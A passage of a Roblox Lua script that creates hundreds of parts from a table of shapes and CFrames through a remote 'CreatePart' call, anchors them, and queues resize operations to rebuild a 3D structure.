				[724] = {shape="Normal", cframe=CFrame.new(295.4311218261719,266.8662109375,-31296.375,1,0,0,0,1,0,0,0,1)},
				[482] = {shape="Normal", cframe=CFrame.new(-18.345420837402344,4.500339984893799,-31253.12109375,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)},
				[603] = {shape="Normal", cframe=CFrame.new(219.48281860351562,162.16168212890625,-31266.8125,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
				[639] = {shape="Normal", cframe=CFrame.new(223.3950653076172,160.73638916015625,-31266.52734375,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
				[716] = {shape="Normal", cframe=CFrame.new(284.7107849121094,270.1665954589844,-31296.375,1,0,0,0,1,0,0,0,1)},
				[265] = {shape="Normal", cframe=CFrame.new(-35.04931640625,3.898972511291504,-31305.130859375,-0.9998477697372437,0.012317681685090065,0.012369418516755104,-0.00003645522519946098,0.707112193107605,-0.7071014046669006,-0.01745641604065895,-0.7069941163063049,-0.7070040702819824)},
				[552] = {shape="Normal", cframe=CFrame.new(209.60763549804688,150.2830810546875,-31292.900390625,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)},
				[709] = {shape="Normal", cframe=CFrame.new(309.9470520019531,256.55255126953125,-31288.033203125,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
				[674] = {shape="Normal", cframe=CFrame.new(297.7107849121094,270.1665954589844,-31295.375,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
				[87] = {shape="Normal", cframe=CFrame.new(-46.99794387817383,4.258682727813721,-31305.59765625,-0.9980754256248474,0.0003523360937833786,0.06201586127281189,-0.00012597767636179924,0.9999701976776123,-0.00770878791809082,-0.06201675534248352,-0.007701754570007324,-0.998045802116394)},
				[583] = {shape="Normal", cframe=CFrame.new(220.17510986328125,161.09231567382812,-31270.6015625,0.12504693865776062,-0.6499245762825012,0.7496408224105835,0.5129010081291199,-0.6044307947158813,-0.6095867156982422,0.8492913246154785,0.46071857213974,0.2577647268772125)},
				[256] = {shape="Normal", cframe=CFrame.new(-47.86479568481445,8.22494125366211,-31304.984375,-0.988540768623352,0.15030381083488464,0.014024630188941956,-0.14638926088809967,-0.9318042993545532,-0.33213087916374207,-0.03685243800282478,-0.330377995967865,0.9431294798851013)},
				[105] = {shape="Normal", cframe=CFrame.new(-46.01003646850586,5.03597354888916,-31305.5859375,-0.947405219078064,0.22228989005088806,-0.23024168610572815,0.023203879594802856,0.7652380466461182,0.6433290839195251,0.3191952109336853,0.6041509509086609,-0.7301484942436218)},
				[516] = {shape="Normal", cframe=CFrame.new(-16.567602157592773,41.55972671508789,-31282.623046875,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
				[682] = {shape="Normal", cframe=CFrame.new(309.445556640625,254.60745239257812,-31286.69921875,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
				[485] = {shape="Normal", cframe=CFrame.new(-19.72412872314453,8.098092079162598,-31254.525390625,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)},
				[564] = {shape="Normal", cframe=CFrame.new(211.0679931640625,151.94725036621094,-31292.20703125,0.6287926435470581,0.2447793036699295,-0.7380399703979492,0.7180317044258118,0.18147708475589752,0.6719350218772888,0.29841312766075134,-0.9524437785148621,-0.06164783984422684)},
				[665] = {shape="Normal", cframe=CFrame.new(132.72239685058594,91.77079772949219,-31289.875,0.8089974522590637,-0.5878121852874756,0,0.5878121852874756,0.8089974522590637,0,0,0,1)},
				[430] = {shape="Normal", cframe=CFrame.new(435.3618469238281,243.3909912109375,-31274.216796875,0,0,1,0,1,-0,-1,0,0)},
				[543] = {shape="Normal", cframe=CFrame.new(211.39398193359375,149.4104461669922,-31296.1640625,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
				[662] = {shape="Normal", cframe=CFrame.new(82.23793029785156,42.32733154296875,-31354.85546875,1,0,0,0,1,0,0,0,1)},
				[659] = {shape="Truss", cframe=CFrame.new(90.71656799316406,52.378013610839844,-31253.326171875,1,0,0,0,1,0,0,0,1)},
				[591] = {shape="Normal", cframe=CFrame.new(216.6319580078125,164.50949096679688,-31265.529296875,0.12504693865776062,-0.9896394610404968,0.07054850459098816,0.5129010081291199,0.003612428903579712,-0.8584401607513428,0.8492913246154785,0.1435297727584839,0.5080388188362122)},
				[513] = {shape="Normal", cframe=CFrame.new(-16.667526245117188,41.43668746948242,-31281.416015625,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
				[454] = {shape="Normal", cframe=CFrame.new(435.3638000488281,241.0897216796875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)},
				[458] = {shape="Normal", cframe=CFrame.new(435.3638000488281,243.3924560546875,-31282.642578125,0,0,1,0,1,-0,-1,0,0)},
				[451] = {shape="Normal", cframe=CFrame.new(435.3618469238281,245.6951904296875,-31278.4296875,0,0,1,0,1,-0,-1,0,0)},
				[644] = {shape="Normal", cframe=CFrame.new(22.658018112182617,22.63770294189453,-31273.875,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
			}
	
			local pending = 0
			for id, def in pairs(partDefs) do
				pending = pending + 1
				task.spawn(function()
					local success, part = pcall(function()
						return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace)
					end)
					if success and part then
						P[id] = part
						syncAnchor(endpoint, part, true)
					end
					pending = pending - 1
				end)
			end
			while pending > 0 do
				task.wait()
			end
	
			local resizeBatch = {}
			if P[8] then resizeBatch[#resizeBatch+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end
			if P[9] then resizeBatch[#resizeBatch+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
			if P[10] then resizeBatch[#resizeBatch+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
			if P[11] then resizeBatch[#resizeBatch+1] = {Part = P[11], CFrame = P[11].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end
			if P[12] then resizeBatch[#resizeBatch+1] = {Part = P[12], CFrame = P[12].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end
			if P[14] then resizeBatch[#resizeBatch+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
			if P[15] then resizeBatch[#resizeBatch+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end
			if P[16] then resizeBatch[#resizeBatch+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end
			if P[17] then resizeBatch[#resizeBatch+1] = {Part = P[17], CFrame = P[17].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end
			if P[18] then resizeBatch[#resizeBatch+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end
			if P[21] then resizeBatch[#resizeBatch+1] = {Part = P[21], CFrame = P[21].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end
			if P[22] then resizeBatch[#resizeBatch+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
			if P[23] then resizeBatch[#resizeBatch+1] = {Part = P[23], CFrame = P[23].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end
			if P[24] then resizeBatch[#resizeBatch+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end
			if P[25] then resizeBatch[#resizeBatch+1] = {Part = P[25], CFrame = P[25].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
			if P[26] then resizeBatch[#resizeBatch+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
			if P[27] then resizeBatch[#resizeBatch+1] = {Part = P[27], CFrame = P[27].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end
			if P[28] then resizeBatch[#resizeBatch+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end
			if P[29] then resizeBatch[#resizeBatch+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end
			if P[30] then resizeBatch[#resizeBatch+1] = {Part = P[30], CFrame = P[30].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
			if P[31] then resizeBatch[#resizeBatch+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end
			if P[32] then resizeBatch[#resizeBatch+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end
			if P[33] then resizeBatch[#resizeBatch+1] = {Part = P[33], CFrame = P[33].CFrame, Size = Vector3.new(0.05000000074505806,0.05000000074505806,0.05000000074505806)} end
			if P[34] then resizeBatch[#resizeBatch+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end
			if P[35] then resizeBatch[#resizeBatch+1] = {Part = P[35], CFrame = P[35].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
			if P[36] then resizeBatch[#resizeBatch+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.7097551822662354,0.6268271803855896,0.30000001192092896)} end
			if P[37] then resizeBatch[#resizeBatch+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(0.5271903872489929,0.6485919952392578,0.30000001192092896)} end
			if P[38] then resizeBatch[#resizeBatch+1] = {Part = P[38], CFrame = P[38].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
			if P[39] then resizeBatch[#resizeBatch+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end
			if P[40] then resizeBatch[#resizeBatch+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end
			if P[41] then resizeBatch[#resizeBatch+1] = {Part = P[41], CFrame = P[41].CFrame, Size = Vector3.new(15.080928802490234,0.6592376232147217,0.30000001192092896)} end
			if P[42] then resizeBatch[#resizeBatch+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(0.5563200116157532,0.6237024068832397,0.30000001192092896)} end
			if P[43] then resizeBatch[#resizeBatch+1] = {Part = P[43], CFrame = P[43].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
			if P[44] then resizeBatch[#resizeBatch+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end
			if P[45] then resizeBatch[#resizeBatch+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(0.17777119576931,0.6291071772575378,0.30000001192092896)} end
			if P[46] then resizeBatch[#resizeBatch+1] = {Part = P[46], CFrame = P[46].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end
			if P[151] then resizeBatch[#resizeBatch+1] = {Part = P[151], CFrame = P[151].CFrame, Size = Vector3.new(2,2,1)} end
			if P[673] then resizeBatch[#resizeBatch+1] = {Part = P[673], CFrame = P[673].CFrame, Size = Vector3.new(5,1,5)} end
			if P[685] then resizeBatch[#resizeBatch+1] = {Part = P[685], CFrame = P[685].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[706] then resizeBatch[#resizeBatch+1] = {Part = P[706], CFrame = P[706].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[561] then resizeBatch[#resizeBatch+1] = {Part = P[561], CFrame = P[561].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[667] then resizeBatch[#resizeBatch+1] = {Part = P[667], CFrame = P[667].CFrame, Size = Vector3.new(100,1,100)} end
			if P[675] then resizeBatch[#resizeBatch+1] = {Part = P[675], CFrame = P[675].CFrame, Size = Vector3.new(2,22,2)} end
			if P[736] then resizeBatch[#resizeBatch+1] = {Part = P[736], CFrame = P[736].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
			if P[519] then resizeBatch[#resizeBatch+1] = {Part = P[519], CFrame = P[519].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[700] then resizeBatch[#resizeBatch+1] = {Part = P[700], CFrame = P[700].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[510] then resizeBatch[#resizeBatch+1] = {Part = P[510], CFrame = P[510].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[587] then resizeBatch[#resizeBatch+1] = {Part = P[587], CFrame = P[587].CFrame, Size = Vector3.new(6.97499942779541,3.4875006675720215,0.38750001788139343)} end
			if P[464] then resizeBatch[#resizeBatch+1] = {Part = P[464], CFrame = P[464].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
			if P[611] then resizeBatch[#resizeBatch+1] = {Part = P[611], CFrame = P[611].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
			if P[571] then resizeBatch[#resizeBatch+1] = {Part = P[571], CFrame = P[571].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
			if P[635] then resizeBatch[#resizeBatch+1] = {Part = P[635], CFrame = P[635].CFrame, Size = Vector3.new(7.749999523162842,1.1625003814697266,6.975001335144043)} end
			if P[166] then resizeBatch[#resizeBatch+1] = {Part = P[166], CFrame = P[166].CFrame, Size = Vector3.new(0.7807660102844238,1.742316484451294,0.8536513447761536)} end
			if P[435] then resizeBatch[#resizeBatch+1] = {Part = P[435], CFrame = P[435].CFrame, Size = Vector3.new(8.20067024230957,4.3811798095703125,0.11233796924352646)} end
			if P[555] then resizeBatch[#resizeBatch+1] = {Part = P[555], CFrame = P[555].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[175] then resizeBatch[#resizeBatch+1] = {Part = P[175], CFrame = P[175].CFrame, Size = Vector3.new(0.942632257938385,1.2126444578170776,0.7589428424835205)} end
			if P[663] then resizeBatch[#resizeBatch+1] = {Part = P[663], CFrame = P[663].CFrame, Size = Vector3.new(7,1,7)} end
			if P[579] then resizeBatch[#resizeBatch+1] = {Part = P[579], CFrame = P[579].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
			if P[657] then resizeBatch[#resizeBatch+1] = {Part = P[657], CFrame = P[657].CFrame, Size = Vector3.new(100,1,100)} end
			if P[470] then resizeBatch[#resizeBatch+1] = {Part = P[470], CFrame = P[470].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[767] then resizeBatch[#resizeBatch+1] = {Part = P[767], CFrame = P[767].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
			if P[491] then resizeBatch[#resizeBatch+1] = {Part = P[491], CFrame = P[491].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
			if P[607] then resizeBatch[#resizeBatch+1] = {Part = P[607], CFrame = P[607].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
			if P[631] then resizeBatch[#resizeBatch+1] = {Part = P[631], CFrame = P[631].CFrame, Size = Vector3.new(7.749999523162842,0.3875000774860382,7.750001430511475)} end
			if P[770] then resizeBatch[#resizeBatch+1] = {Part = P[770], CFrame = P[770].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
			if P[473] then resizeBatch[#resizeBatch+1] = {Part = P[473], CFrame = P[473].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[694] then resizeBatch[#resizeBatch+1] = {Part = P[694], CFrame = P[694].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
			if P[615] then resizeBatch[#resizeBatch+1] = {Part = P[615], CFrame = P[615].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
			if P[428] then resizeBatch[#resizeBatch+1] = {Part = P[428], CFrame = P[428].CFrame, Size = Vector3.new(17,1.5,1.6999998092651367)} end
			if P[575] then resizeBatch[#resizeBatch+1] = {Part = P[575], CFrame = P[575].CFrame, Size = Vector3.new(7.750001430511475,1.1625001430511475,0.7750000357627869)} end
			if P[627] then resizeBatch[#resizeBatch+1] = {Part = P[627], CFrame = P[627].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
			if P[501] then resizeBatch[#resizeBatch+1] = {Part = P[501], CFrame = P[501].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[479] then resizeBatch[#resizeBatch+1] = {Part = P[479], CFrame = P[479].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[676] then resizeBatch[#resizeBatch+1] = {Part = P[676], CFrame = P[676].CFrame, Size = Vector3.new(1387,1,541)} end
			if P[595] then resizeBatch[#resizeBatch+1] = {Part = P[595], CFrame = P[595].CFrame, Size = Vector3.new(0.7750000357627869,6.975001335144043,0.38750001788139343)} end
			if P[656] then resizeBatch[#resizeBatch+1] = {Part = P[656], CFrame = P[656].CFrame, Size = Vector3.new(1387,1,541)} end
			if P[648] then resizeBatch[#resizeBatch+1] = {Part = P[648], CFrame = P[648].CFrame, Size = Vector3.new(12,1,12)} end
			if P[78] then resizeBatch[#resizeBatch+1] = {Part = P[78], CFrame = P[78].CFrame, Size = Vector3.new(4,0.5,3)} end
			if P[461] then resizeBatch[#resizeBatch+1] = {Part = P[461], CFrame = P[461].CFrame, Size = Vector3.new(8.313007354736328,4.493517875671387,0.11233796924352646)} end
			if P[669] then resizeBatch[#resizeBatch+1] = {Part = P[669], CFrame = P[669].CFrame, Size = Vector3.new(1387,1,783)} end
			if P[82] then resizeBatch[#resizeBatch+1] = {Part = P[82], CFrame = P[82].CFrame, Size = Vector3.new(1.7598299980163574,1.324947714805603,1.9481749534606934)} end
			if P[72] then resizeBatch[#resizeBatch+1] = {Part = P[72], CFrame = P[72].CFrame, Size = Vector3.new(3,0.5,2)} end
			if P[540] then resizeBatch[#resizeBatch+1] = {Part = P[540], CFrame = P[540].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
			if P[703] then resizeBatch[#resizeBatch+1] = {Part = P[703], CFrame = P[703].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[619] then resizeBatch[#resizeBatch+1] = {Part = P[619], CFrame = P[619].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end
			if P[751] then resizeBatch[#resizeBatch+1] = {Part = P[751], CFrame = P[751].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
			if P[522] then resizeBatch[#resizeBatch+1] = {Part = P[522], CFrame = P[522].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
			if P[204] then resizeBatch[#resizeBatch+1] = {Part = P[204], CFrame = P[204].CFrame, Size = Vector3.new(1.8390778303146362,1.9012384414672852,1.0733120441436768)} end
			if P[114] then resizeBatch[#resizeBatch+1] = {Part = P[114], CFrame = P[114].CFrame, Size = Vector3.new(0.7213894128799438,0.820060670375824,1.2430022954940796)} end
			if P[525] then resizeBatch[#resizeBatch+1] = {Part = P[525], CFrame = P[525].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[270] then resizeBatch[#resizeBatch+1] = {Part = P[270], CFrame = P[270].CFrame, Size = Vector3.new(17,0.5,3)} end
			if P[664] then resizeBatch[#resizeBatch+1] = {Part = P[664], CFrame = P[664].CFrame, Size = Vector3.new(1,20.1013126373291,98)} end
			if P[745] then resizeBatch[#resizeBatch+1] = {Part = P[745], CFrame = P[745].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,18.142240524291992)} end
			if P[670] then resizeBatch[#resizeBatch+1] = {Part = P[670], CFrame = P[670].CFrame, Size = Vector3.new(5,1,5)} end
			if P[732] then resizeBatch[#resizeBatch+1] = {Part = P[732], CFrame = P[732].CFrame, Size = Vector3.new(16.49294662475586,0.8246473670005798,24.73941993713379)} end
			if P[271] then resizeBatch[#resizeBatch+1] = {Part = P[271], CFrame = P[271].CFrame, Size = Vector3.new(15.5,9,0.10000000149011612)} end
			if P[532] then resizeBatch[#resizeBatch+1] = {Part = P[532], CFrame = P[532].CFrame, Size = Vector3.new(11.968605995178223,7.213444232940674,24.56649398803711)} end
			if P[671] then resizeBatch[#resizeBatch+1] = {Part = P[671], CFrame = P[671].CFrame, Size = Vector3.new(5,1,5)} end
			if P[268] then resizeBatch[#resizeBatch+1] = {Part = P[268], CFrame = P[268].CFrame, Size = Vector3.new(15.700000762939453,0.10000000149011612,0.5999998450279236)} end
			if P[558] then resizeBatch[#resizeBatch+1] = {Part = P[558], CFrame = P[558].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[567] then resizeBatch[#resizeBatch+1] = {Part = P[567], CFrame = P[567].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
			if P[697] then resizeBatch[#resizeBatch+1] = {Part = P[697], CFrame = P[697].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[691] then resizeBatch[#resizeBatch+1] = {Part = P[691], CFrame = P[691].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[720] then resizeBatch[#resizeBatch+1] = {Part = P[720], CFrame = P[720].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
			if P[476] then resizeBatch[#resizeBatch+1] = {Part = P[476], CFrame = P[476].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[653] then resizeBatch[#resizeBatch+1] = {Part = P[653], CFrame = P[653].CFrame, Size = Vector3.new(12,1,12)} end
			if P[528] then resizeBatch[#resizeBatch+1] = {Part = P[528], CFrame = P[528].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[677] then resizeBatch[#resizeBatch+1] = {Part = P[677], CFrame = P[677].CFrame, Size = Vector3.new(106,1,122)} end
			if P[650] then resizeBatch[#resizeBatch+1] = {Part = P[650], CFrame = P[650].CFrame, Size = Vector3.new(72,1,66.99858093261719)} end
			if P[661] then resizeBatch[#resizeBatch+1] = {Part = P[661], CFrame = P[661].CFrame, Size = Vector3.new(2,21,2)} end
			if P[599] then resizeBatch[#resizeBatch+1] = {Part = P[599], CFrame = P[599].CFrame, Size = Vector3.new(0.3875000774860382,4.262500762939453,7.750001430511475)} end
			if P[498] then resizeBatch[#resizeBatch+1] = {Part = P[498], CFrame = P[498].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[186] then resizeBatch[#resizeBatch+1] = {Part = P[186], CFrame = P[186].CFrame, Size = Vector3.new(1.1643550395965576,1.145603060722351,1.1628893613815308)} end
			if P[504] then resizeBatch[#resizeBatch+1] = {Part = P[504], CFrame = P[504].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[646] then resizeBatch[#resizeBatch+1] = {Part = P[646], CFrame = P[646].CFrame, Size = Vector3.new(12,1,12)} end
			if P[132] then resizeBatch[#resizeBatch+1] = {Part = P[132], CFrame = P[132].CFrame, Size = Vector3.new(1.6722400188446045,0.6320915222167969,1.0374350547790527)} end
			if P[623] then resizeBatch[#resizeBatch+1] = {Part = P[623], CFrame = P[623].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
			if P[488] then resizeBatch[#resizeBatch+1] = {Part = P[488], CFrame = P[488].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[157] then resizeBatch[#resizeBatch+1] = {Part = P[157], CFrame = P[157].CFrame, Size = Vector3.new(0.7213890552520752,1.2634086608886719,0.8536258935928345)} end
			if P[507] then resizeBatch[#resizeBatch+1] = {Part = P[507], CFrame = P[507].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
			if P[247] then resizeBatch[#resizeBatch+1] = {Part = P[247], CFrame = P[247].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729461193084717)} end
			if P[660] then resizeBatch[#resizeBatch+1] = {Part = P[660], CFrame = P[660].CFrame, Size = Vector3.new(2,20.101245880126953,2)} end
			if P[672] then resizeBatch[#resizeBatch+1] = {Part = P[672], CFrame = P[672].CFrame, Size = Vector3.new(5,1,5)} end
			if P[456] then resizeBatch[#resizeBatch+1] = {Part = P[456], CFrame = P[456].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.2246759682893753)} end
			if P[467] then resizeBatch[#resizeBatch+1] = {Part = P[467], CFrame = P[467].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[123] then resizeBatch[#resizeBatch+1] = {Part = P[123], CFrame = P[123].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729460000991821)} end
			if P[773] then resizeBatch[#resizeBatch+1] = {Part = P[773], CFrame = P[773].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
			if P[652] then resizeBatch[#resizeBatch+1] = {Part = P[652], CFrame = P[652].CFrame, Size = Vector3.new(1387,1,541)} end
			if P[655] then resizeBatch[#resizeBatch+1] = {Part = P[655], CFrame = P[655].CFrame, Size = Vector3.new(1385,1,541)} end
			if P[688] then resizeBatch[#resizeBatch+1] = {Part = P[688], CFrame = P[688].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
			if P[761] then resizeBatch[#resizeBatch+1] = {Part = P[761], CFrame = P[761].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
			if P[755] then resizeBatch[#resizeBatch+1] = {Part = P[755], CFrame = P[755].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end
			if P[549] then resizeBatch[#resizeBatch+1] = {Part = P[549], CFrame = P[549].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[741] then resizeBatch[#resizeBatch+1] = {Part = P[741], CFrame = P[741].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
			if P[494] then resizeBatch[#resizeBatch+1] = {Part = P[494], CFrame = P[494].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[433] then resizeBatch[#resizeBatch+1] = {Part = P[433], CFrame = P[433].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.22467593848705292)} end
			if P[238] then resizeBatch[#resizeBatch+1] = {Part = P[238], CFrame = P[238].CFrame, Size = Vector3.new(0.811855137348175,1.1605454683303833,0.9022700786590576)} end
			if P[537] then resizeBatch[#resizeBatch+1] = {Part = P[537], CFrame = P[537].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
			if P[729] then resizeBatch[#resizeBatch+1] = {Part = P[729], CFrame = P[729].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end
			if P[227] then resizeBatch[#resizeBatch+1] = {Part = P[227], CFrame = P[227].CFrame, Size = Vector3.new(0.9424356818199158,1.2126445770263672,0.7589428424835205)} end
			if P[712] then resizeBatch[#resizeBatch+1] = {Part = P[712], CFrame = P[712].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
